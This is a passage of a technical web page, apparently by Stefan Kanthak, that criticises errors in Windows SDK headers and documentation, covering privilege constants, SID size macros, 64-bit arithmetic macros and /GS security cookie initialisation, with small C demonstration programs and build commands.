blunder.c(82) : error C2440: 'initializing' : cannot convert from 'LPWSTR *' to 'LPCWSTR *'
Conversion loses qualifiers
blunder.c(88) : error C2664: 'FreeEnvironmentStringsW' : cannot convert parameter 1 from 'LPCWSTR' to 'LPWCH'
Conversion loses qualifiers
blunder.c(95) : error C2664: 'AdjustTokenPrivileges' : cannot convert parameter 3 from 'const TOKEN_PRIVILEGES *' to 'PTOKEN_PRIVILEGES'
Conversion loses qualifiers
blunder.c(99) : error C2664: 'CheckTokenMembership' : cannot convert parameter 2 from 'const SID *' to 'PSID'
Conversion loses qualifiers
blunder.c(107) : error C2664: 'ConvertSecurityDescriptorToStringSecurityDescriptorW' : cannot convert parameter 1 from 'const SECURITY_DESCRIPTOR *' to 'PSECURITY_DESCRIPTOR'
Conversion loses qualifiers
blunder.c(108) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'LPCWSTR' to 'HLOCAL'
Conversion loses qualifiers
blunder.c(111) : error C2664: 'ConvertSidToStringSidW' : cannot convert parameter 1 from 'const SID *' to 'PSID'
Conversion loses qualifiers
blunder.c(112) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'LPCWSTR' to 'HLOCAL'
Conversion loses qualifiers
blunder.c(115) : error C2664: 'ConvertStringSidToSidW' : cannot convert parameter 2 from 'const SID **' to 'PSID *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(116) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'const SID *' to 'HLOCAL'
Conversion loses qualifiers
blunder.c(121) : error C2664: 'ConvertStringSecurityDescriptorToSecurityDescriptorW' : cannot convert parameter 3 from 'const SECURITY_DESCRIPTOR **' to 'PSECURITY_DESCRIPTOR *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(122) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'const SECURITY_DESCRIPTOR *' to 'HLOCAL'
Conversion loses qualifiers
blunder.c(125) : error C2664: 'CreateDirectoryW' : cannot convert parameter 2 from 'const SECURITY_ATTRIBUTES *' to 'LPSECURITY_ATTRIBUTES'
Conversion loses qualifiers
blunder.c(130) : error C2664: 'CreateEnvironmentBlock' : cannot convert parameter 1 from 'LPCWSTR *' to 'LPVOID *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(131) : error C2664: 'DestroyEnvironmentBlock' : cannot convert parameter 1 from 'LPCWSTR' to 'LPVOID'
Conversion loses qualifiers
blunder.c(139) : error C2664: 'CreateFileW' : cannot convert parameter 4 from 'const SECURITY_ATTRIBUTES *' to 'LPSECURITY_ATTRIBUTES'
Conversion loses qualifiers
blunder.c(153) : error C2664: 'CreateProcessW' : cannot convert parameter 3 from 'const SECURITY_ATTRIBUTES *' to 'LPSECURITY_ATTRIBUTES'
Conversion loses qualifiers
blunder.c(159) : error C2664: 'GetUserObjectSecurity' : cannot convert parameter 2 from 'const SECURITY_INFORMATION *' to 'PSECURITY_INFORMATION'
Conversion loses qualifiers
blunder.c(160) : error C2664: 'IsValidAcl' : cannot convert parameter 1 from 'const _acl *' to 'PACL'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(161) : error C2664: 'IsValidAcl' : cannot convert parameter 1 from 'const _acl *' to 'PACL'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(162) : error C2664: 'IsValidSecurityDescriptor' : cannot convert parameter 1 from 'const SECURITY_DESCRIPTOR *' to 'PSECURITY_DESCRIPTOR'
Conversion loses qualifiers
blunder.c(163) : error C2664: 'IsValidSid' : cannot convert parameter 1 from 'const SID *' to 'PSID'
Conversion loses qualifiers
blunder.c(164) : error C2664: 'IsValidSid' : cannot convert parameter 1 from 'const SID *' to 'PSID'
Conversion loses qualifiers
blunder.c(180) : error C2664: 'SetSecurityInfo' : cannot convert parameter 4 from 'const SID *' to 'PSID'
Conversion loses qualifiers
blunder.c(184) : error C2664: 'SetUserObjectSecurity' : cannot convert parameter 2 from 'const SECURITY_INFORMATION *' to 'PSECURITY_INFORMATION'
Conversion loses qualifiers
OUCH: Was für Plunder!
CertRDNValueToStr()
and
GetVolumePathNamesForVolumeNameW()
(just to pick some examples) as well as the window message
LVM_GETISEARCHSTRING
(just to pick another example) exhibit an unfortunately
very common Size, in characters, allocated for the returned string. The size must include the terminating NULL character.[…]
Returns the number of characters converted, including the terminating NULL character. If psz is NULL or csz is zero, returns the required size of the destination string.
The list is a array of null-terminated strings terminated by an additional NULL character. […][…] including all NULL characters.
Supplies the maximum number of bytes that are allowed in the buffer that psz points to, including the terminating NULL character.
StrChrNIW searches for wMatch from pszStart to pszStart + cchMax, or until a NULL character is encountered.
StrChrNW searches for wMatch from pszStart to pszStart + cchMax, or until a NULL character is encountered.
Searches a string for the first occurrence of any of a group of characters. The search method is case-sensitive, and the terminating NULL character is included within the search pattern match.
Searches a string for the first occurrence of any of a group of characters. The search method is not case-sensitive, and the terminating NULL character is included within the search pattern match.
Returns the number of characters in the incremental search string, not including the terminating NULL character, or zero if the list-view control is not in incremental search mode.[…]
Make sure that the buffer is large enough to hold the string and the terminating NULL character.
Specifies the length, in bytes, of the string pointed to by the Buffer member, not including the terminating NULL character, if any.
Specifies the length, in bytes, of the string pointed to by the Buffer member, not including the terminating NULL character, if any.
These routines operate on null-terminated single-byte character,
wide-character, and multibyte-character strings. Use the
buffer-manipulation routines, described in
Buffer manipulation,
to work with character arrays that don't end with a
NULL
character.
OUCH: there is no NULL character–
NULL
is a preprocessor macro defined as ((void *) 0)
–
and the highlighted text parts of the documentation should be
replaced with null character,
NUL
,
'\0'
or L'\0'
!
winbase.h
shipped with the
FILE_RENAME_INFO
structure for the
Win32 function
SetFileInformationByHandle()
as follows:
The documentation for thetypedef struct _FILE_RENAME_INFO { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; DWORD FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFO, *PFILE_RENAME_INFO;
FILE_RENAME_INFO
structure but typedef struct _FILE_RENAME_INFO { union { BOOLEAN ReplaceIfExists; DWORD Flags; } DUMMYUNIONNAME; BOOLEAN ReplaceIfExists; HANDLE RootDirectory; DWORD FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFO, *PFILE_RENAME_INFO;
The Windows API defines a set of string constants, such as SE_ASSIGNPRIMARYTOKEN_NAME, to identify the various privileges. These constants are the same on all systems and are defined in Winnt.h. For a table of the privileges defined by Windows, see Privilege Constants. However, the functions that get and adjust the privileges in an access token use the LUID type to identify privileges. The LUID values for a privilege can differ from one computer to another, and from one boot to another on the same computer.The header file
wdm.h
shipped with the
Driver Development Kit and the
Windows Driver Kit defines but the following numerical
constants:
OUCH: contrary to the highlighted statement of the documentation cited above, these constants neither change from boot to boot nor differ from computer to computer!// // These must be converted to LUIDs before use. // #define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) #define SE_CREATE_TOKEN_PRIVILEGE (2L) #define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) #define SE_LOCK_MEMORY_PRIVILEGE (4L) #define SE_INCREASE_QUOTA_PRIVILEGE (5L) #define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) #define SE_TCB_PRIVILEGE (7L) #define SE_SECURITY_PRIVILEGE (8L) #define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) #define SE_LOAD_DRIVER_PRIVILEGE (10L) #define SE_SYSTEM_PROFILE_PRIVILEGE (11L) #define SE_SYSTEMTIME_PRIVILEGE (12L) #define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) #define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) #define SE_CREATE_PAGEFILE_PRIVILEGE (15L) #define SE_CREATE_PERMANENT_PRIVILEGE (16L) #define SE_BACKUP_PRIVILEGE (17L) #define SE_RESTORE_PRIVILEGE (18L) #define SE_SHUTDOWN_PRIVILEGE (19L) #define SE_DEBUG_PRIVILEGE (20L) #define SE_AUDIT_PRIVILEGE (21L) #define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) #define SE_CHANGE_NOTIFY_PRIVILEGE (23L) #define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) #define SE_UNDOCK_PRIVILEGE (25L) #define SE_SYNC_AGENT_PRIVILEGE (26L) #define SE_ENABLE_DELEGATION_PRIVILEGE (27L) #define SE_MANAGE_VOLUME_PRIVILEGE (28L) #define SE_IMPERSONATE_PRIVILEGE (29L) #define SE_CREATE_GLOBAL_PRIVILEGE (30L) #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) #define SE_RELABEL_PRIVILEGE (32L) #define SE_INC_WORKING_SET_PRIVILEGE (33L) #define SE_TIME_ZONE_PRIVILEGE (34L) #define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) #define SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE (36L) #define SE_MAX_WELL_KNOWN_PRIVILEGE (SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE)
OOPS¹: the numerical constants are
unsigned – they should be
defined as ‹number›UL
, matching the type
of the LowPart
member of the
LUID
structure!
OOPS²: the parentheses around the numerical constants are superfluous!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const LPCWSTR szName[] = {NULL,
NULL,
SE_CREATE_TOKEN_NAME, // 2
SE_ASSIGNPRIMARYTOKEN_NAME, // 3
SE_LOCK_MEMORY_NAME, // 4
SE_INCREASE_QUOTA_NAME, // 5
SE_MACHINE_ACCOUNT_NAME, // 6
SE_TCB_NAME, // 7
SE_SECURITY_NAME, // 8
SE_TAKE_OWNERSHIP_NAME, // 9
SE_LOAD_DRIVER_NAME, // 10
SE_SYSTEM_PROFILE_NAME, // 11
SE_SYSTEMTIME_NAME, // 12
SE_PROF_SINGLE_PROCESS_NAME, // 13
SE_INC_BASE_PRIORITY_NAME, // 14
SE_CREATE_PAGEFILE_NAME, // 15
SE_CREATE_PERMANENT_NAME, // 16
SE_BACKUP_NAME, // 17
SE_RESTORE_NAME, // 18
SE_SHUTDOWN_NAME, // 19
SE_DEBUG_NAME, // 20
SE_AUDIT_NAME, // 21
SE_SYSTEM_ENVIRONMENT_NAME, // 22
SE_CHANGE_NOTIFY_NAME, // 23
SE_REMOTE_SHUTDOWN_NAME, // 24
SE_UNDOCK_NAME, // 25
SE_SYNC_AGENT_NAME, // 26
SE_ENABLE_DELEGATION_NAME, // 27
SE_MANAGE_VOLUME_NAME, // 28
SE_IMPERSONATE_NAME, // 29
SE_CREATE_GLOBAL_NAME, // 30
SE_TRUSTED_CREDMAN_ACCESS_NAME, // 31
SE_RELABEL_NAME, // 32
SE_INC_WORKING_SET_NAME, // 33
SE_TIME_ZONE_NAME, // 34
SE_CREATE_SYMBOLIC_LINK_NAME, // 35
SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME}; // 36
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
LUID luid;
DWORD dwError = ERROR_SUCCESS;
DWORD dwName = 2UL;
do
if (!LookupPrivilegeValue((LPCWSTR) NULL, szName[dwName], &luid))
dwError = GetLastError();
else
if ((luid.LowPart != dwName) || (luid.HighPart != 0L))
break;
while (++dwName < sizeof(szName) / sizeof(*szName));
ExitProcess(dwName == sizeof(szName) / sizeof(*szName) ? dwError : ~0UL);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
0
winnt.h
shipped with the
Oops¹: the definition of the#define ANYSIZE_ARRAY 1 […] //////////////////////////////////////////////////////////////////////// // // // Security Id (SID) // // // //////////////////////////////////////////////////////////////////////// // // // Pictorially the structure of an SID is as follows: // // 1 1 1 1 1 1 // 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 // +---------------------------------------------------------------+ // | SubAuthorityCount |Reserved1 (SBZ)| Revision | // +---------------------------------------------------------------+ // | IdentifierAuthority[0] | // +---------------------------------------------------------------+ // | IdentifierAuthority[1] | // +---------------------------------------------------------------+ // | IdentifierAuthority[2] | // +---------------------------------------------------------------+ // | | // +- - - - - - - - SubAuthority[] - - - - - - - - -+ // | | // +---------------------------------------------------------------+ // // #ifndef SID_IDENTIFIER_AUTHORITY_DEFINED #define SID_IDENTIFIER_AUTHORITY_DEFINED typedef struct _SID_IDENTIFIER_AUTHORITY { BYTE Value[6]; } SID_IDENTIFIER_AUTHORITY, *PSID_IDENTIFIER_AUTHORITY; #endif #ifndef SID_DEFINED #define SID_DEFINED typedef struct _SID { BYTE Revision; BYTE SubAuthorityCount; SID_IDENTIFIER_AUTHORITY IdentifierAuthority; DWORD SubAuthority[ANYSIZE_ARRAY]; } SID, *PISID; #endif #define SID_REVISION (1) // Current revision level #define SID_MAX_SUB_AUTHORITIES (15) #define SID_RECOMMENDED_SUB_AUTHORITIES (1) // Will change to around 6 // in a future release. #define SECURITY_MAX_SID_SIZE \ (sizeof(SID) - sizeof(DWORD) + (SID_MAX_SUB_AUTHORITIES * sizeof(DWORD))) // 2 (S-) // 4 (Rev(max: 255)-) // 15 ( // If (Auth < 2^32): Auth(max:4294967295)- // Else: 0xAuth(max:FFFFFFFFFFFF)- // ) // (11 * SID_MAX_SUB_AUTHORITIES) (SubN(max:4294967295)-) // 1 (NULL character) // = 187 (assuming SID_MAX_SUB_AUTHORITIES = 15) #define SECURITY_MAX_SID_STRING_CHARACTERS \ (2 + 4 + 15 + (11 * SID_MAX_SUB_AUTHORITIES) + 1) […] ///////////////////////////////////////////////////////////////////////////// // // // Universal well-known SIDs // // // // Null SID S-1-0-0 // // World S-1-1-0 // // Local S-1-2-0 // // Creator Owner ID S-1-3-0 // // Creator Group ID S-1-3-1 // // Creator Owner Server ID S-1-3-2 // // Creator Group Server ID S-1-3-3 // // // // (Non-unique IDs) S-1-4 // // // ///////////////////////////////////////////////////////////////////////////// #define SECURITY_NULL_SID_AUTHORITY {0,0,0,0,0,0} #define SECURITY_WORLD_SID_AUTHORITY {0,0,0,0,0,1} #define SECURITY_LOCAL_SID_AUTHORITY {0,0,0,0,0,2} #define SECURITY_CREATOR_SID_AUTHORITY {0,0,0,0,0,3} #define SECURITY_NON_UNIQUE_AUTHORITY {0,0,0,0,0,4} #define SECURITY_RESOURCE_MANAGER_AUTHORITY {0,0,0,0,0,9} […] /////////////////////////////////////////////////////////////////////////////// // // // NT well-known SIDs // // // // NT Authority S-1-5 // // Dialup S-1-5-1 // // // // Network S-1-5-2 // // Batch S-1-5-3 // // Interactive S-1-5-4 // // (Logon IDs) S-1-5-5-X-Y // // Service S-1-5-6 // // AnonymousLogon S-1-5-7 (aka null logon session) // // Proxy S-1-5-8 // // Enterprise DC (EDC) S-1-5-9 (aka domain controller account) // // Self S-1-5-10 (self RID) // // Authenticated User S-1-5-11 (Authenticated user somewhere) // // Restricted Code S-1-5-12 (Running restricted code) // // Terminal Server S-1-5-13 (Running on Terminal Server) // // Remote Logon S-1-5-14 (Remote Interactive Logon) // // This Organization S-1-5-15 // // // // IUser S-1-5-17 // // Local System S-1-5-18 // // Local Service S-1-5-19 // // Network Service S-1-5-20 // // // // (NT non-unique IDs) S-1-5-0x15-... (NT Domain Sids) // // // // (Built-in domain) S-1-5-0x20 // // // // (Security Package IDs) S-1-5-0x40 // // NTLM Authentication S-1-5-0x40-10 // // SChannel Authentication S-1-5-0x40-14 // // Digest Authentication S-1-5-0x40-21 // // // // Other Organization S-1-5-1000 (>=1000 can not be filtered) // // // // // // NOTE: the relative identifier values (RIDs) determine which security // // boundaries the SID is allowed to cross. Before adding new RIDs, // // a determination needs to be made regarding which range they should // // be added to in order to ensure proper "SID filtering" // // // /////////////////////////////////////////////////////////////////////////////// #define SECURITY_NT_AUTHORITY {0,0,0,0,0,5} // ntifs […] #define SECURITY_APP_PACKAGE_AUTHORITY {0,0,0,0,0,15} […] #define SECURITY_MANDATORY_LABEL_AUTHORITY {0,0,0,0,0,16} […] #define SECURITY_SCOPED_POLICY_ID_AUTHORITY {0,0,0,0,0,17} […] #define SECURITY_AUTHENTICATION_AUTHORITY {0,0,0,0,0,18} […] #define SECURITY_PROCESS_TRUST_AUTHORITY {0,0,0,0,0,19}
SID_IDENTIFIER_AUTHORITY
structure fails to match the
ASCII
art – according to the latter it should be
WORD Value[3]
instead of BYTE Value[6]
!
Oops²: the value of the preprocessor macro
SECURITY_MAX_SID_SIZE
fails to match the definition of
the SID
structure –
according to the latter it should be
(sizeof(SID) + sizeof(DWORD) * (SID_MAX_SUB_AUTHORITIES - ANYSIZE_ARRAY))
!
Oops³: the value of the preprocessor macro
SECURITY_MAX_SID_STRING_CHARACTERS
(introduced with
Windows 10 1703 alias Creators Update,
codenamed Redstone 2) counts one minus sign to many and
matches neither the
ASCII
art nor (the use of) the SID_IDENTIFIER_AUTHORITY
structure – it should be
(sizeof("S-15-65535") + sizeof("4294967295") * SID_MAX_SUB_AUTHORITIES)
to match the former or
(sizeof("S-15-255") + sizeof("4294967295") * SID_MAX_SUB_AUTHORITIES)
to match the latter!
OUCH: there is no NULL character
–
NULL
is a preprocessor macro defined as ((void *) 0)
!
Well-known SIDs
SID Strings
preprocessor macro
Int32x32To64()
states:
Multiplies two signed 32-bit integers, returning a signed 64-bit integer result. The function performs optimally on 32-bit Windows.OUCH¹: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void Int32x32To64( [in] a, [in] b )
Return value
None
Remarks
This function is implemented on all platforms by optimal inline code: a single multiply instruction that returns a 64-bit result.
Please note that the function's return value is a 64-bit value, not a LARGE_INTEGER structure.
The documentation for the preprocessor macro
UInt32x32To64()
states:
Multiplies two unsigned 32-bit integers, returning an unsigned 64-bit integer result. The function performs optimally on 32-bit Windows.OUCH²: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void UInt32x32To64( [in] a, [in] b )
Return value
None
Remarks
This function is implemented on all platforms by optimal inline code: a single multiply instruction that returns a 64-bit result.
Please note that the function's return value is a 64-bit value, not a LARGE_INTEGER structure.
The documentation for the preprocessor macro
Int64ShllMod32()
states:
Performs a left logical shift operation on an unsigned 64-bit integer value. The function provides improved shifting code for left logical shifts where the shift count is in the range 0-31.OUCH³: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void Int64ShllMod32( [in] a, [in] b )
Return value
None
Remarks
[…] By restricting the shift count to the range 0-31, the Int64ShllMod32 function lets the compiler generate optimal or near-optimal code.
Please note that the Int64ShllMod32 function's Value parameter and return value are 64-bit values, not LARGE_INTEGER structures.
The documentation for the preprocessor macro
Int64ShraMod32()
states:
Performs a right arithmetic shift operation on a signed 64-bit integer value. The function provides improved shifting code for right arithmetic shifts where the shift count is in the range 0-31.OUCH⁴: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void Int64ShraMod32( [in] a, [in] b )
Return value
None
Remarks
[…] By restricting the shift count to the range 0-31, the Int64ShraMod32 function lets the compiler generate optimal or near-optimal code.
Please note that the Int64ShraMod32 function's Value parameter and return value are 64-bit values, not LARGE_INTEGER structures.
The documentation for the preprocessor macro
Int64ShrlMod32()
states:
Performs a right logical shift operation on an unsigned 64-bit integer value. The function provides improved shifting code for right logical shifts where the shift count is in the range 0-31.OUCH⁵: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void Int64ShrlMod32( [in] a, [in] b )
Return value
None
Remarks
[…] By restricting the shift count to the range 0-31, the Int64ShrlMod32 function lets the compiler generate optimal or near-optimal code.
Note
The Int64ShrlMod32 function's Value parameter and return value are 64-bit values, not LARGE_INTEGER structures.
The header file winnt.h
shipped with the
Platform Windows Software Development Kits
defines the preprocessor macros
Int32x32To64(a, b)
and
UInt32x32To64(a, b)
for widening
32-bit×32-bit integer multiplication plus
the inline functions
Int64ShllMod32()
,
Int64ShraMod32()
and
Int64ShrlMod32()
for 64-bit integer shifts:
OUCH⁶: contrary to their documentations cited above as well as the first highlighted comment in the header file// // Define operations to logically shift an int64 by 0..31 bits and to multiply // 32-bits by 32-bits to form a 64-bit product. // #if defined(MIDL_PASS) || defined(RC_INVOKED) || defined(_M_CEE_PURE) \ || defined(_68K_) || defined(_MPPC_) \ || defined(_M_IA64) || defined(_M_AMD64) || defined(_M_ARM) || defined(_M_ARM64) \ || defined(_M_HYBRID_X86_ARM64) // // Midl does not understand inline assembler. Therefore, the Rtl functions // are used for shifts by 0..31 and multiplies of 32-bits times 32-bits to // form a 64-bit product. // // // IA64 and AMD64 have native 64-bit operations that are just as fast as their // 32-bit counter parts. Therefore, the int64 data type is used directly to form // shifts of 0..31 and multiplies of 32-bits times 32-bits to form a 64-bit // product. // #define Int32x32To64(a, b) (((__int64)((long)(a))) * ((__int64)((long)(b)))) #define UInt32x32To64(a, b) (((unsigned __int64)((unsigned int)(a))) * ((unsigned __int64)((unsigned int)(b)))) #define Int64ShllMod32(a, b) (((unsigned __int64)(a)) << (b)) #define Int64ShraMod32(a, b) (((__int64)(a)) >> (b)) #define Int64ShrlMod32(a, b) (((unsigned __int64)(a)) >> (b)) #elif defined(_M_IX86) // // The x86 C compiler understands inline assembler. Therefore, inline functions // that employ inline assembler are used for shifts of 0..31. The multiplies // rely on the compiler recognizing the cast of the multiplicand to int64 to // generate the optimal code inline. // #define Int32x32To64(a, b) ((__int64)(((__int64)((long)(a))) * ((long)(b)))) #define UInt32x32To64(a, b) ((unsigned __int64)(((unsigned __int64)((unsigned int)(a))) * ((unsigned int)(b)))) […] __inline ULONGLONG NTAPI Int64ShllMod32 ( _In_ ULONGLONG Value, _In_ DWORD ShiftCount ) { __asm { mov ecx, ShiftCount mov eax, dword ptr [Value] mov edx, dword ptr [Value+4] shld edx, eax, cl shl eax, cl } } __inline LONGLONG NTAPI Int64ShraMod32 ( _In_ LONGLONG Value, _In_ DWORD ShiftCount ) { __asm { mov ecx, ShiftCount mov eax, dword ptr [Value] mov edx, dword ptr [Value+4] shrd eax, edx, cl sar edx, cl } } __inline ULONGLONG NTAPI Int64ShrlMod32 ( _In_ ULONGLONG Value, _In_ DWORD ShiftCount ) { __asm { mov ecx, ShiftCount mov eax, dword ptr [Value] mov edx, dword ptr [Value+4] shrd eax, edx, cl shr edx, cl } } […] #else #error Must define a target architecture. #endif
winnt.h
cited above, the preprocessor macros
Int64ShllMod32()
,
Int64ShraMod32()
and
Int64ShrlMod32()
but shift by 0 to 63 bits instead of 0 to 31 bits – to comply
with the functions defined in the header file winnt.h
their second parameter must be masked with 31, i.e.
(31 & (b))
instead of (b)
!
OUCH⁷: contrary to the highlighted statements
of their documentations cited above, the Visual C
compiler does not generate code for the
Int64ShllMod32()
,
Int64ShraMod32()
and
Int64ShrlMod32()
functions – their bodies are written in i386
assembly!
OUCH⁸: contrary to the
highlighted statements of their documentations cited above, the
Visual C compiler but fails to
generate a single multiply instruction for the preprocessor macros
Int32x32To64(a, b)
and
UInt32x32To64(a, b)
!
CAVEAT: this awful mess should have been replaced
since more than 20 years by the intrinsic functions
__emul()
,
__emulu()
,
__ll_lshift()
,
__ll_rshift()
and
__ull_rshift()
available with the Visual C compiler 2003 and later
versions!
blunder.h
with the following
contents and #include
it in your source files:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#pragma once
#ifdef _M_IX86
#undef Int32x32To64 // BLUNDER: MSC generates call to _allmul() instead of inline code!
#undef UInt32x32To64
#pragma intrinsic(__emul, __emulu)
#define Int32x32To64 __emul
#define UInt32x32To64 __emulu
__int64 __emul(int multiplicand, int multiplier);
unsigned __int64 __emulu(unsigned int multiplicand, unsigned int multiplier);
#pragma intrinsic(__ll_lshift, __ll_rshift, __ull_rshift)
#define Int64ShllMod32 __ll_lshift
#define Int64ShraMod32 __ll_rshift
#define Int64ShrlMod32 __ull_rshift
unsigned __int64 __ll_lshift(unsigned __int64 value, int count);
__int64 __ll_rshift(__int64 value, int count);
unsigned __int64 __ull_rshift(unsigned __int64 value, int count);
#else
#undef Int64ShllMod32
#define Int64ShllMod32(a, b) (((unsigned __int64)(a)) << (31 & (b)))
#undef Int64ShraMod32
#define Int64ShraMod32(a, b) (((__int64)(a)) >> (31 & (b)))
#undef Int64ShrlMod32
#define Int64ShrlMod32(a, b) (((unsigned __int64)(a)) >> (31 & (b)))
#endif
You can specify any number of options, filenames, and library names, as long as the number of characters on the command line does not exceed 1024, the limit dictated by the operating system.OUCH: Windows NT supports but up to 32767 characters on the command line!
Note: according to the
MSKB
article
830473,
the command interpreter
Cmd.exe
supports up to 8191 characters on the command line.
/GS
compiler option
states:
The /GS compiler option requires that the security cookie be initialized before any function that uses the cookie is run. The security cookie must be initialized immediately on entry to an EXE or DLL. This is done automatically if you use the default VCRuntime entry points: mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup, or _DllMainCRTStartup. If you use an alternate entry point, you must manually initialize the security cookie by calling __security_init_cookie.OOPS¹: contrary to the first highlighted statement of this documentation, the code generated by the Visual C compiler requires only that the (arbitrary) value of the security cookie does not change between entry and exit of any function which uses it!
OOPS²:
TLS callback
functions are called before the normal (default)
entry points, conventionally named mainCRTStartup
,
wmainCRTStartup
, WinMainCRTStartup
,
wWinMainCRTStartup
and _DllMainCRTStartup
!
OOPS³: contrary to the second highlighted
statement of this documentation, there is no need to call the
__security_init_cookie()
function to (re)initialise the security cookie!
Note: this documentation also fails to provide the following (implementation) details:
_load_config_used
structure matches the size of the
IMAGE_LOAD_CONFIG_DIRECTORY
structure in the eleventh entry of the
IMAGE_DATA_DIRECTORY
array in the
IMAGE_OPTIONAL_HEADER
structure;
__security_init_cookie()
function provided in the
MSVCRT
libraries (re)initialises the security cookie with a (pseudo-)random
value only if it has this default value or is 0!
If you link withstrict_gs_check pragma/NODEFAULTLIB
and you want a table of safe exception handlers, you need to supply a load config struct (…) that contains all the entries defined for Visual C++. For example:#include <windows.h> extern DWORD_PTR __security_cookie; /* /GS security cookie */ /* * The following two names are automatically created by the linker for any * image that has the safe exception table present. */ extern PVOID __safe_se_handler_table[]; /* base of safe handler entry table */ extern BYTE __safe_se_handler_count; /* absolute symbol whose address is the count of table entries */ const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = { sizeof(IMAGE_LOAD_CONFIG_DIRECTORY32), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, &__security_cookie, __safe_se_handler_table, (DWORD)(DWORD_PTR) &__safe_se_handler_count };
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef _WIN64
#ifdef BLUNDER
DWORD_PTR __security_cookie = 0UL;
#else
DWORD_PTR __security_cookie = 0xBB40E64EUL;
#endif // = 3141592654 = 10**9 * pi
extern LPVOID __safe_se_handler_table[];
extern BYTE __safe_se_handler_count;
const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = {sizeof(_load_config_used),
'DATE', // 0x44415445 = 2006-04-15 20:15:01 UTC
_MSC_VER / 100,
_MSC_VER % 100,
0UL, 0UL, 0UL, 0UL, 0UL, 0UL, 0UL, 0UL,
HEAP_GENERATE_EXCEPTIONS,
0UL, 0, 0, 0UL,
&__security_cookie,
__safe_se_handler_table,
&__safe_se_handler_count};
#else // _WIN64
#ifdef BLUNDER
DWORD_PTR __security_cookie = 0ULL;
#else
DWORD_PTR __security_cookie = 0x00002B992DDFA232ULL;
// = 3141592653589793241 >> 16
#endif // = 10**18 / 2**16 * pi
const IMAGE_LOAD_CONFIG_DIRECTORY64 _load_config_used = {sizeof(_load_config_used),
'TIME', // 0x54494D45 = 2014-10-23 18:47:33 UTC
_MSC_VER / 100,
_MSC_VER % 100,
0UL, 0UL, 0UL, 0ULL, 0ULL, 0ULL, 0ULL, 0ULL, 0ULL,
HEAP_GENERATE_EXCEPTIONS,
0, 0, 0ULL,
&__security_cookie,
0ULL,
0ULL};
#endif // _WIN64
#ifdef _DLL
__declspec(dllexport)
__declspec(safebuffers)
BOOL WINAPI ConsoleCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie)
{
WCHAR szCookie[1024];
DWORD dwCookie;
DWORD dwConsole;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
return FALSE;
#ifndef _WIN64
if (gsCookie == 0xBB40E64EUL)
#else
if (gsCookie == 0x00002B992DDFA232ULL)
#endif
dwCookie = wsprintf(szCookie,
L"%ls entry point: /GS security cookie is NOT initialised!\a\n",
lpCookie);
else if (gsCookie == 0)
dwCookie = wsprintf(szCookie,
L"%ls entry point: /GS security cookie is 0!\a\n",
lpCookie);
else
dwCookie = wsprintf(szCookie,
